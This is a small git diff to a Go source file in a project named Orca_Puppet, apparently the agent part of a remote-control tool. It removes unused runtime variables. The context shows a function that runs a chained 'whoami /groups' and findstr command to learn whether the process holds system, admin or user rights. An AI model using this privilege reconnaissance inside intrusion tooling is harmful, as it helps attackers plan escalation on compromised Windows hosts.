diff --git a/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go b/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go index e8e8acd..b68c81e 100644 --- a/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go +++ b/Orca_Puppet/cli/cmdopt/listopt/gethostinfo_windows.go @@ -6,13 +6,9 @@ import ( "fmt" "os" "os/user" - "runtime" "strings" ) -var sysType = runtime.GOOS -var sysArch = runtime.GOARCH - // 获取当前执行身份 (user/admin/system) func GetExecPrivilege() string { ac, _ := shellopt.Cmd("(whoami /groups |findstr Mandatory|findstr System > nul && echo system)||(whoami /groups |findstr Mandatory|findstr High > nul && echo admin)||echo user")